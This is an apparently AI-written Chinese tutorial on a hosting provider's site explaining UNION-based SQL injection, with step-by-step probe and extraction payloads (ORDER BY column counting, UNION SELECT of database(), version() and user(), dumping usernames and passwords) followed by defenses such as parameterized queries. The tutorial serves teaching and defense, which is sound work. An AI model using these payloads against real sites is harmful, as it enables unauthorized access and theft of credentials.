温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

什么是联合查询注入

发布时间:2026-10-16 13:33:43 来源:亿速云 阅读:94 作者:小樊 栏目:数据库

联合查询注入(UNION-based SQL Injection) 是 SQL 注入攻击中最常见、最直观的一种类型,利用的是 SQL 中的 UNION 查询 把“攻击者想要的数据”拼接到正常查询结果中,从而非法获取数据库信息。


一、什么是 UNION 查询

在 SQL 中,UNION 用于把两条 SELECT 语句的结果合并:

SELECT a, b FROM table1
UNION
SELECT c, d FROM table2;

⚠️ 前提条件:

  • 两条查询的列数必须相同
  • 对应列的数据类型尽量兼容

二、联合查询注入的原理

很多网站会这样写 SQL:

SELECT id, username FROM users WHERE id = $id;

如果 $id 没有过滤,攻击者可构造:

?id=1 UNION SELECT username, password FROM admin

最终 SQL 变成:

SELECT id, username FROM users WHERE id = 1
UNION
SELECT username, password FROM admin;

于是:

  • 原本只显示普通用户
  • 现在把管理员账号密码也查出来了

三、典型攻击步骤

  1. 判断是否存在注入

    ?id=1'
    ?id=1 AND 1=1
    ?id=1 AND 1=2
    
  2. 判断字段数

    ?id=1 ORDER BY 3
    ?id=1 ORDER BY 4
    
  3. 找显位(哪些列会显示到页面)

    ?id=-1 UNION SELECT 1,2,3
    
  4. 获取数据库信息

    ?id=-1 UNION SELECT database(), version(), user()
    
  5. 读取敏感表

    ?id=-1 UNION SELECT username, password FROM users
    

四、常见危害

  • 窃取账号、密码、Token
  • 泄露数据库结构
  • 进一步导致:
    • 文件读取
    • 后台登录
    • 拖库(整库泄露)

五、如何防御(重点)

✅ 使用 预编译语句(参数化查询)

$stmt = $pdo->prepare("SELECT id, username FROM users WHERE id = ?");
$stmt->execute([$id]);

✅ 输入校验(白名单、类型限制)
✅ 最小权限数据库账号
✅ 关闭错误回显(不把 SQL 错误暴露给用户)


如果你愿意,我也可以:

  • 用 真实示例站结构 讲一遍
  • 对比 联合注入 vs 报错注入 vs 盲注
  • 给你一个 CTF 实战题演示

你想从哪一块继续?

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI
助
手